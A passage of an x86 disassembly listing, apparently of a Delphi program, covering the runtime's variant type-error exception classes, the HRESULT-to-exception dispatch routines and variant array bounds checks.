push dword ptr fs:[eax]
mov fs:[eax], esp
inc ds:dword_4001F280
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000D5C4
loc_4000D5BC: ; CODE XREF: sub_4000D598+2Aj
retn
; ---------------------------------------------------------------------------
loc_4000D5BD: ; DATA XREF: sub_4000D598+6o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000D5BC
; ---------------------------------------------------------------------------
loc_4000D5C4: ; CODE XREF: sub_4000D598:loc_4000D5BCj
; DATA XREF: sub_4000D598+1Fo
pop ebp
retn
sub_4000D598 endp
; ---------------------------------------------------------------------------
db 8Bh, 0C0h
db 0CCh
; ---------------------------------------------------------------------------
loc_4000D5C9: ; DATA XREF: .text:off_4000D5EAo
add dword ptr [esp+4], 0FFFFFFF8h
mov eax, [esp+4]
mov eax, [eax]
jmp dword ptr [eax]
; ---------------------------------------------------------------------------
loc_4000D5D6: ; DATA XREF: .text:4000D5EEo
add dword ptr [esp+4], 0FFFFFFF8h
jmp loc_40012D58
; ---------------------------------------------------------------------------
loc_4000D5E0: ; DATA XREF: .text:4000D5F2o
add dword ptr [esp+4], 0FFFFFFF8h
jmp loc_40012D64
; ---------------------------------------------------------------------------
off_4000D5EA dd offset loc_4000D5C9 ; DATA XREF: .text:4000D60Ao
dd offset loc_4000D5D6
dd offset loc_4000D5E0
word_4000D5F6 dw 1 ; DATA XREF: .text:4000D61Co
dd 2 dup(0)
dd 0C00000h, 0
db 0, 46h
dd offset off_4000D5EA
dw 8
dd 0
align 8
dd offset off_4000D664
dd offset word_4000D5F6
dd 6 dup(0)
dd offset dword_4000D6A0
dd 0Ch
dd offset off_4000101C
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40012C6C
off_4000D664 dd offset sub_40012D70 ; DATA XREF: .text:4000D618o
; .text:4000D6CCo
dd offset sub_40012CFC
dd offset sub_40012D30
dd offset sub_40012D10
dd offset sub_40012D4C
dd offset sub_40012CF8
dd offset sub_40012B6C
dd offset sub_40012BA4
dd offset sub_40012C30
dd offset sub_400030B4
dd offset sub_400030B4
dd offset sub_40012B60
dd offset sub_40012D44
dd offset sub_40012BF8
dd offset sub_40012BEC
dword_4000D6A0 dd 75435412h, 6D6F7473h, 69726156h, 54746E61h, 90657079h
; DATA XREF: .text:4000D638o
off_4000D6B4 dd offset dword_4000D6B8 ; DATA XREF: .text:40012AE5o
dword_4000D6B8 dd 43541207h, 6F747375h, 7261566Dh, 746E6169h, 65707954h
; DATA XREF: .text:off_4000D6B4o
dd offset off_4000D664
dd offset off_40001070
dd 56080000h, 61697261h, 73746Eh, 408D00h
off_4000D6E4 dd offset dword_4000D730 ; DATA XREF: sub_4000DC90+25r
dd 7 dup(0)
dd offset dword_4000D730
dd 0Ch
dd offset off_400075AC
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_4000D730 dd 61564516h, 6E616972h, 766E4974h, 64696C61h, 7245704Fh
; DATA XREF: .text:off_4000D6E4o
; .text:4000D704o
dd 90726F72h
off_4000D748 dd offset dword_4000D794 ; DATA XREF: sub_4000DBA0+25r
; sub_4000DBF4+65r
dd 7 dup(0)
dd offset dword_4000D794
dd 0Ch
dd offset off_400075AC
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_4000D794 dd 61564515h, 6E616972h, 70795474h, 73614365h, 72724574h
; DATA XREF: .text:off_4000D748o
; .text:4000D768o
dd 0C08B726Fh
off_4000D7AC dd offset dword_4000D7F8 ; DATA XREF: sub_4000DCE4+65r
; sub_4000DDD4+DBr
dd 7 dup(0)
dd offset dword_4000D7F8
dd 0Ch
dd offset off_400075AC
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_4000D7F8 dd 61564515h, 6E616972h, 65764F74h, 6F6C6672h, 72724577h
; DATA XREF: .text:off_4000D7ACo
; .text:4000D7CCo
dd 0C08B726Fh
off_4000D810 dd offset dword_4000D85C ; DATA XREF: sub_4000DDD4+199r
dd 7 dup(0)
dd offset dword_4000D85C
dd 0Ch
dd offset off_400075AC
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_4000D85C dd 61564517h, 6E616972h, 766E4974h, 64696C61h, 45677241h
; DATA XREF: .text:off_4000D810o
; .text:4000D830o
dd 726F7272h
off_4000D874 dd offset dword_4000D8C0 ; DATA XREF: sub_4000DDD4+ABr
dd 7 dup(0)
dd offset dword_4000D8C0
dd 0Ch
dd offset off_400075AC
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_4000D8C0 dd 61564517h, 6E616972h, 64614274h, 54726156h, 45657079h
; DATA XREF: .text:off_4000D874o
; .text:4000D894o
dd 726F7272h
off_4000D8D8 dd offset dword_4000D924 ; DATA XREF: sub_4000DDD4+101r
dd 7 dup(0)
dd offset dword_4000D924
dd 0Ch
dd offset off_400075AC
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_4000D924 dd 61564515h, 6E616972h, 64614274h, 65646E49h, 72724578h
; DATA XREF: .text:off_4000D8D8o
; .text:4000D8F8o
dd 0C08B726Fh
off_4000D93C dd offset dword_4000D988 ; DATA XREF: sub_4000DDD4+127r
dd 7 dup(0)
dd offset dword_4000D988
dd 0Ch
dd offset off_400075AC
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_4000D988 dd 61564518h, 6E616972h, 72724174h, 6F4C7961h, 64656B63h
; DATA XREF: .text:off_4000D93Co
; .text:4000D95Co
dd 6F727245h, 408D72h
off_4000D9A4 dd offset dword_4000D9F0 ; DATA XREF: sub_4000DD80+25r
dd 7 dup(0)
dd offset dword_4000D9F0
dd 0Ch
dd offset off_400075AC
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_4000D9F0 dd 61564518h, 6E616972h, 72724174h, 72437961h, 65746165h
; DATA XREF: .text:off_4000D9A4o
; .text:4000D9C4o
dd 6F727245h, 408D72h
off_4000DA0C dd offset dword_4000DA58 ; DATA XREF: sub_4000DDD4+14Dr
dd 7 dup(0)
dd offset dword_4000DA58
dd 0Ch
dd offset off_400075AC
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_4000DA58 dd 61564514h, 6E616972h, 746F4E74h, 6C706D49h, 6F727245h
; DATA XREF: .text:off_4000DA0Co
; .text:4000DA2Co
dd 408D72h
off_4000DA70 dd offset dword_4000DABC ; DATA XREF: sub_4000DDD4+173r
dd 7 dup(0)
dd offset dword_4000DABC
dd 0Ch
dd offset off_400075AC
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_4000DABC dd 61564518h, 6E616972h, 74754F74h, 654D664Fh, 79726F6Dh
; DATA XREF: .text:off_4000DA70o
; .text:4000DA90o
dd 6F727245h, 408D72h
off_4000DAD8 dd offset dword_4000DB24 ; DATA XREF: sub_4000DDD4+1BCr
dd 7 dup(0)
dd offset dword_4000DB24
dd 0Ch
dd offset off_400075AC
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_4000DB24 dd 61564517h, 6E616972h, 656E5574h, 63657078h, 45646574h
; DATA XREF: .text:off_4000DAD8o
; .text:4000DAF8o
dd 726F7272h
off_4000DB3C dd offset dword_4000DB88 ; DATA XREF: sub_4000E0EC+25r
dd 7 dup(0)
dd offset dword_4000DB88
dd 0Ch
dd offset off_400075AC
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_4000DB88 dd 61564515h, 6E616972h, 73694474h, 63746170h, 72724568h
; DATA XREF: .text:off_4000DB3Co
; .text:4000DB5Co
dd 0C08B726Fh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000DBA0 proc near ; CODE XREF: sub_4000DDD4:loc_4000DE63p
; sub_4000E744+33p ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0
xor eax, eax
push ebp
push offset loc_4000DBEA
push dword ptr fs:[eax]
mov fs:[eax], esp
lea edx, [ebp+var_4]
mov eax, off_4001AFD4
call sub_400062F0
mov ecx, [ebp+var_4]
mov dl, 1
mov eax, ds:off_4000D748
call sub_4000B030
call sub_400042E4
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000DBF1
loc_4000DBE1: ; CODE XREF: sub_4000DBA0+4Fj
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_4000DBEA: ; DATA XREF: sub_4000DBA0+8o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000DBE1
; ---------------------------------------------------------------------------
loc_4000DBF1: ; CODE XREF: sub_4000DBA0+49j
; DATA XREF: sub_4000DBA0+3Co
pop ecx
pop ebp
retn
sub_4000DBA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000DBF4 proc near ; CODE XREF: sub_4000E034+1Ap
; sub_4000E8E0+74p ...
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFE4h
push ebx
push esi
xor ecx, ecx
mov [ebp+var_14], ecx
mov [ebp+var_18], ecx
mov [ebp+var_1C], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push offset loc_4000DC83
push dword ptr fs:[eax]
mov fs:[eax], esp
lea edx, [ebp+var_14]
mov eax, ebx
call sub_4001293C
mov eax, [ebp+var_14]
mov [ebp+var_10], eax
mov [ebp+var_C], 0Bh
lea edx, [ebp+var_18]
mov eax, esi
call sub_4001293C
mov eax, [ebp+var_18]
mov [ebp+var_8], eax
mov [ebp+var_4], 0Bh
lea eax, [ebp+var_10]
push eax
push 1
lea edx, [ebp+var_1C]
mov eax, off_4001AEC0
call sub_400062F0
mov ecx, [ebp+var_1C]
mov dl, 1
mov eax, ds:off_4000D748
call sub_4000B06C
call sub_400042E4
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000DC8A
loc_4000DC75: ; CODE XREF: sub_4000DBF4+94j
lea eax, [ebp+var_1C]
mov edx, 3
call sub_400048A8
retn
; ---------------------------------------------------------------------------
loc_4000DC83: ; DATA XREF: sub_4000DBF4+1Ao
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000DC75
; ---------------------------------------------------------------------------
loc_4000DC8A: ; CODE XREF: sub_4000DBF4+8Ej
; DATA XREF: sub_4000DBF4+7Co
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4000DBF4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000DC90 proc near ; CODE XREF: sub_4000DDD4:loc_4000DE93p
; sub_4000E35C+3Ap ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0
xor eax, eax
push ebp
push offset loc_4000DCDA
push dword ptr fs:[eax]
mov fs:[eax], esp
lea edx, [ebp+var_4]
mov eax, off_4001AFB4
call sub_400062F0
mov ecx, [ebp+var_4]
mov dl, 1
mov eax, ds:off_4000D6E4
call sub_4000B030
call sub_400042E4
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000DCE1
loc_4000DCD1: ; CODE XREF: sub_4000DC90+4Fj
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_4000DCDA: ; DATA XREF: sub_4000DC90+8o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000DCD1
; ---------------------------------------------------------------------------
loc_4000DCE1: ; CODE XREF: sub_4000DC90+49j
; DATA XREF: sub_4000DC90+3Co
pop ecx
pop ebp
retn
sub_4000DC90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000DCE4 proc near ; CODE XREF: sub_4000E034+25p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFE4h
push ebx
push esi
xor ecx, ecx
mov [ebp+var_14], ecx
mov [ebp+var_18], ecx
mov [ebp+var_1C], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push offset loc_4000DD73
push dword ptr fs:[eax]
mov fs:[eax], esp
lea edx, [ebp+var_14]
mov eax, ebx
call sub_4001293C
mov eax, [ebp+var_14]
mov [ebp+var_10], eax
mov [ebp+var_C], 0Bh
lea edx, [ebp+var_18]
mov eax, esi
call sub_4001293C
mov eax, [ebp+var_18]
mov [ebp+var_8], eax
mov [ebp+var_4], 0Bh
lea eax, [ebp+var_10]
push eax
push 1
lea edx, [ebp+var_1C]
mov eax, off_4001B014
call sub_400062F0
mov ecx, [ebp+var_1C]
mov dl, 1
mov eax, ds:off_4000D7AC
call sub_4000B06C
call sub_400042E4
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000DD7A
loc_4000DD65: ; CODE XREF: sub_4000DCE4+94j
lea eax, [ebp+var_1C]
mov edx, 3
call sub_400048A8
retn
; ---------------------------------------------------------------------------
loc_4000DD73: ; DATA XREF: sub_4000DCE4+1Ao
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000DD65
; ---------------------------------------------------------------------------
loc_4000DD7A: ; CODE XREF: sub_4000DCE4+8Ej
; DATA XREF: sub_4000DCE4+7Co
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4000DCE4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000DD80 proc near ; CODE XREF: sub_4000E480+F9p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0
xor eax, eax
push ebp
push offset loc_4000DDCA
push dword ptr fs:[eax]
mov fs:[eax], esp
lea edx, [ebp+var_4]
mov eax, off_4001AF94
call sub_400062F0
mov ecx, [ebp+var_4]
mov dl, 1
mov eax, ds:off_4000D9A4
call sub_4000B030
call sub_400042E4
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000DDD1
loc_4000DDC1: ; CODE XREF: sub_4000DD80+4Fj
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_4000DDCA: ; DATA XREF: sub_4000DD80+8o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000DDC1
; ---------------------------------------------------------------------------
loc_4000DDD1: ; CODE XREF: sub_4000DD80+49j
; DATA XREF: sub_4000DD80+3Co
pop ecx
pop ebp
retn
sub_4000DD80 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000DDD4 proc near ; CODE XREF: sub_4000E028+4p
; sub_4000E034:loc_4000E060p
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
mov ecx, 8
loc_4000DDDC: ; CODE XREF: sub_4000DDD4+Dj
push 0
push 0
dec ecx
jnz short loc_4000DDDC
push ebx
mov ebx, eax
xor eax, eax
push ebp
push offset loc_4000E019
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, ebx
cmp eax, 8002000Ah
jg short loc_4000DE36
jz loc_4000DE9D
cmp eax, 80020005h
jg short loc_4000DE27
jz short loc_4000DE63
sub eax, 80004001h
jz loc_4000DF0F
sub eax, 0BFFEh
jz loc_4000DF7E
jmp loc_4000DFA1
; ---------------------------------------------------------------------------
loc_4000DE27: ; CODE XREF: sub_4000DDD4+34j
sub eax, 80020008h
jz short loc_4000DE6D
dec eax
jz short loc_4000DE93
jmp loc_4000DFA1
; ---------------------------------------------------------------------------
loc_4000DE36: ; CODE XREF: sub_4000DDD4+27j
sub eax, 8002000Bh
jz loc_4000DEC3
sub eax, 2
jz loc_4000DEE9
sub eax, 50001h
jz loc_4000DF35
sub eax, 49h
jz loc_4000DF5B
jmp loc_4000DFA1
; ---------------------------------------------------------------------------
loc_4000DE63: ; CODE XREF: sub_4000DDD4+36j
call sub_4000DBA0
jmp loc_4000DFF1
; ---------------------------------------------------------------------------
loc_4000DE6D: ; CODE XREF: sub_4000DDD4+58j
lea edx, [ebp+var_4]
mov eax, off_4001B090
call sub_400062F0
mov ecx, [ebp+var_4]
mov dl, 1
mov eax, ds:off_4000D874
call sub_4000B030
call sub_400042E4
jmp loc_4000DFF1
; ---------------------------------------------------------------------------
loc_4000DE93: ; CODE XREF: sub_4000DDD4+5Bj
call sub_4000DC90
jmp loc_4000DFF1
; ---------------------------------------------------------------------------
loc_4000DE9D: ; CODE XREF: sub_4000DDD4+29j
lea edx, [ebp+var_8]
mov eax, off_4001AF00
call sub_400062F0
mov ecx, [ebp+var_8]
mov dl, 1
mov eax, ds:off_4000D7AC
call sub_4000B030
call sub_400042E4
jmp loc_4000DFF1
; ---------------------------------------------------------------------------
loc_4000DEC3: ; CODE XREF: sub_4000DDD4+67j
lea edx, [ebp+var_C]
mov eax, off_4001B050
call sub_400062F0
mov ecx, [ebp+var_C]
mov dl, 1
mov eax, ds:off_4000D8D8
call sub_4000B030
call sub_400042E4
jmp loc_4000DFF1
; ---------------------------------------------------------------------------
loc_4000DEE9: ; CODE XREF: sub_4000DDD4+70j
lea edx, [ebp+var_10]
mov eax, off_4001B0C0
call sub_400062F0
mov ecx, [ebp+var_10]
mov dl, 1
mov eax, ds:off_4000D93C
call sub_4000B030
call sub_400042E4
jmp loc_4000DFF1
; ---------------------------------------------------------------------------
loc_4000DF0F: ; CODE XREF: sub_4000DDD4+3Dj
lea edx, [ebp+var_14]
mov eax, off_4001AFF4
call sub_400062F0
mov ecx, [ebp+var_14]
mov dl, 1
mov eax, ds:off_4000DA0C
call sub_4000B030
call sub_400042E4
jmp loc_4000DFF1
; ---------------------------------------------------------------------------
loc_4000DF35: ; CODE XREF: sub_4000DDD4+7Bj
lea edx, [ebp+var_18]
mov eax, off_4001AF2C
call sub_400062F0
mov ecx, [ebp+var_18]
mov dl, 1
mov eax, ds:off_4000DA70
call sub_4000B030
call sub_400042E4
jmp loc_4000DFF1
; ---------------------------------------------------------------------------
loc_4000DF5B: ; CODE XREF: sub_4000DDD4+84j
lea edx, [ebp+var_1C]
mov eax, off_4001AF44
call sub_400062F0
mov ecx, [ebp+var_1C]
mov dl, 1
mov eax, ds:off_4000D810
call sub_4000B030
call sub_400042E4
jmp short loc_4000DFF1
; ---------------------------------------------------------------------------
loc_4000DF7E: ; CODE XREF: sub_4000DDD4+48j
lea edx, [ebp+var_20]
mov eax, off_4001AEFC
call sub_400062F0
mov ecx, [ebp+var_20]
mov dl, 1
mov eax, ds:off_4000DAD8
call sub_4000B030
call sub_400042E4
jmp short loc_4000DFF1
; ---------------------------------------------------------------------------
loc_4000DFA1: ; CODE XREF: sub_4000DDD4+4Ej
; sub_4000DDD4+5Dj ...
mov eax, off_4001B09C
mov eax, [eax]
mov [ebp+var_38], eax
mov [ebp+var_34], 0Bh
mov [ebp+var_30], ebx
mov [ebp+var_2C], 0
lea edx, [ebp+var_3C]
mov eax, ebx
call sub_4000A81C
mov eax, [ebp+var_3C]
mov [ebp+var_28], eax
mov [ebp+var_24], 0Bh
lea eax, [ebp+var_38]
push eax
push 2
lea edx, [ebp+var_40]
mov eax, off_4001AF98
call sub_400062F0
mov ecx, [ebp+var_40]
mov dl, 1
mov eax, ds:off_400075AC
call sub_4000B06C
call sub_400042E4
loc_4000DFF1: ; CODE XREF: sub_4000DDD4+94j
; sub_4000DDD4+BAj ...
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000E020
loc_4000DFFE: ; CODE XREF: sub_4000DDD4+24Aj
lea eax, [ebp+var_40]
mov edx, 2
call sub_400048A8
lea eax, [ebp+var_20]
mov edx, 8
call sub_400048A8
retn
; ---------------------------------------------------------------------------
loc_4000E019: ; DATA XREF: sub_4000DDD4+15o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000DFFE
; ---------------------------------------------------------------------------
loc_4000E020: ; CODE XREF: sub_4000DDD4+244j
; DATA XREF: sub_4000DDD4+225o
pop ebx
mov esp, ebp
pop ebp
retn
sub_4000DDD4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000E028 proc near ; CODE XREF: sub_4000E1E0+23p
; sub_4000E1E0+B4p ...
test eax, eax
jz short locret_4000E031
call sub_4000DDD4
locret_4000E031: ; CODE XREF: sub_4000E028+2j
retn
sub_4000E028 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000E034 proc near ; CODE XREF: sub_4000E068+23p
; sub_4000E068+48p ...
push ebx
test eax, eax
jz short loc_4000E065
mov ebx, eax
sub ebx, 80020005h
jz short loc_4000E04A
sub ebx, 5
jz short loc_4000E055
jmp short loc_4000E060
; ---------------------------------------------------------------------------
loc_4000E04A: ; CODE XREF: sub_4000E034+Dj
mov eax, edx
mov edx, ecx
call sub_4000DBF4
jmp short loc_4000E065
; ---------------------------------------------------------------------------
loc_4000E055: ; CODE XREF: sub_4000E034+12j
mov eax, edx
mov edx, ecx
call sub_4000DCE4
jmp short loc_4000E065
; ---------------------------------------------------------------------------
loc_4000E060: ; CODE XREF: sub_4000E034+14j
call sub_4000DDD4
loc_4000E065: ; CODE XREF: sub_4000E034+3j
; sub_4000E034+1Fj ...
pop ebx
retn
sub_4000E034 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000E068 proc near ; CODE XREF: sub_4000ED90+430p
; sub_4000F1E0+9Dp ...
push ebx
push esi
mov esi, edx
mov ebx, eax
call sub_40002CA4
mov edx, ds:off_400070C0
call sub_40003E74
test al, al
jz short loc_4000E093
mov ecx, esi
mov edx, ebx
mov eax, 8002000Ah
call sub_4000E034
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4000E093: ; CODE XREF: sub_4000E068+18j
call sub_40002CA4
mov edx, ds:off_4000727C
call sub_40003E74
test al, al
jz short loc_4000E0B7
mov ecx, esi
mov edx, ebx
mov eax, 8002000Ah
call sub_4000E034
jmp short loc_4000E0E9
; ---------------------------------------------------------------------------
loc_4000E0B7: ; CODE XREF: sub_4000E068+3Dj
call sub_40002CA4
mov edx, ds:off_400073E4
call sub_40003E74
test al, al
jz short loc_4000E0DB
mov ecx, esi
mov edx, ebx
mov eax, 80020005h
call sub_4000E034
jmp short loc_4000E0E9
; ---------------------------------------------------------------------------
loc_4000E0DB: ; CODE XREF: sub_4000E068+61j
call sub_40002CC4
mov edx, eax
mov eax, edx
call sub_400042E4
loc_4000E0E9: ; CODE XREF: sub_4000E068+4Dj
; sub_4000E068+71j
pop esi
pop ebx
retn
sub_4000E068 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000E0EC proc near ; CODE XREF: sub_40012D28p
; DATA XREF: sub_40019144+24o
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0
xor eax, eax
push ebp
push offset loc_4000E136
push dword ptr fs:[eax]
mov fs:[eax], esp
lea edx, [ebp+var_4]
mov eax, off_4001AEBC
call sub_400062F0
mov ecx, [ebp+var_4]
mov dl, 1
mov eax, ds:off_4000DB3C
call sub_4000B030
call sub_400042E4
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000E13D
loc_4000E12D: ; CODE XREF: sub_4000E0EC+4Fj
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_4000E136: ; DATA XREF: sub_4000E0EC+8o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000E12D
; ---------------------------------------------------------------------------
loc_4000E13D: ; CODE XREF: sub_4000E0EC+49j
; DATA XREF: sub_4000E0EC+3Co
pop ecx
pop ebp
retn
sub_4000E0EC endp
; =============== S U B R O U T I N E =======================================
sub_4000E140 proc near ; CODE XREF: sub_4000E9CC+C6p
push ebx
mov ebx, eax
mov eax, ebx
call sub_4000E3D8
mov word ptr [ebx], 1
pop ebx
retn
sub_4000E140 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000E154 proc near ; CODE XREF: sub_4000E1E0+123p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
mov ecx, [ebp+arg_0]
add ecx, 0FFFFFD00h
loc_4000E161: ; CODE XREF: sub_4000E154+28j
mov edx, [ecx+eax*8+4]
add edx, [ecx+eax*8]
mov ebx, [ebp+arg_0]
cmp edx, [ebx+eax*4-100h]
setnle dl
dec eax
test dl, dl
jz short loc_4000E17E
test eax, eax
jge short loc_4000E161
loc_4000E17E: ; CODE XREF: sub_4000E154+24j
mov eax, edx
pop ebx
pop ebp
retn
sub_4000E154 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000E184 proc near ; CODE XREF: sub_4000E184+4Dp
; sub_4000E1E0+15Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
mov dl, 1
mov ecx, [ebp+arg_0]
inc dword ptr [ecx+eax*4-100h]
mov ecx, [ebp+arg_0]
mov ecx, [ecx+eax*8-2FCh]
mov ebx, ecx
mov esi, [ebp+arg_0]
add ebx, [esi+eax*8-300h]
mov esi, [ebp+arg_0]
cmp ebx, [esi+eax*4-100h]
jg short loc_4000E1D9
test eax, eax
jnz short loc_4000E1BF
xor edx, edx
jmp short loc_4000E1D9
; ---------------------------------------------------------------------------
loc_4000E1BF: ; CODE XREF: sub_4000E184+35j
mov edx, [ebp+arg_0]
mov edx, [ebp+arg_0]
mov [edx+eax*4-100h], ecx
mov edx, [ebp+arg_0]
push edx
dec eax
call sub_4000E184
pop ecx
mov edx, eax
loc_4000E1D9: ; CODE XREF: sub_4000E184+31j
; sub_4000E184+39j
mov eax, edx
pop esi
pop ebx
pop ebp
retn
sub_4000E184 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000E1E0 proc near ; CODE XREF: sub_4000E35C+4Bp
var_318 = dword ptr -318h
var_314 = dword ptr -314h
var_310 = dword ptr -310h
var_30C = dword ptr -30Ch
var_308 = dword ptr -308h
var_304 = dword ptr -304h
var_300 = byte ptr -300h
var_2FC = byte ptr -2FCh
var_100 = byte ptr -100h
push ebp
mov ebp, esp
add esp, 0FFFFFCE8h
push ebx
push esi
push edi
mov [ebp+var_304], eax
mov eax, [ebp+var_304]
test byte ptr [eax+1], 20h
jnz short loc_4000E208
mov eax, 80070057h
call sub_4000E028
loc_4000E208: ; CODE XREF: sub_4000E1E0+1Cj
mov eax, [ebp+var_304]
movzx eax, word ptr [eax]
mov edx, eax
and dx, 0FFFh
cmp dx, 0Ch
jnz loc_4000E344
mov edx, [ebp+var_304]
test ah, 40h
jz short loc_4000E240
mov eax, [ebp+var_304]
mov eax, [eax+8]
mov eax, [eax]
mov [ebp+var_308], eax
jmp short loc_4000E24F
; ---------------------------------------------------------------------------
loc_4000E240: ; CODE XREF: sub_4000E1E0+4Bj
mov eax, [ebp+var_304]
mov eax, [eax+8]
mov [ebp+var_308], eax
loc_4000E24F: ; CODE XREF: sub_4000E1E0+5Ej
mov eax, [ebp+var_308]
movzx eax, word ptr [eax]
mov [ebp+var_310], eax
mov ebx, [ebp+var_310]
dec ebx
test ebx, ebx
jl short loc_4000E2D4
inc ebx
xor edi, edi
lea esi, [ebp+var_300]
loc_4000E272: ; CODE XREF: sub_4000E1E0+F2j
mov eax, esi
mov [ebp+var_318], eax
mov eax, [ebp+var_318]
add eax, 4
push eax
lea eax, [edi+1]
push eax
mov eax, [ebp+var_308]
push eax
call sub_4000D248
call sub_4000E028
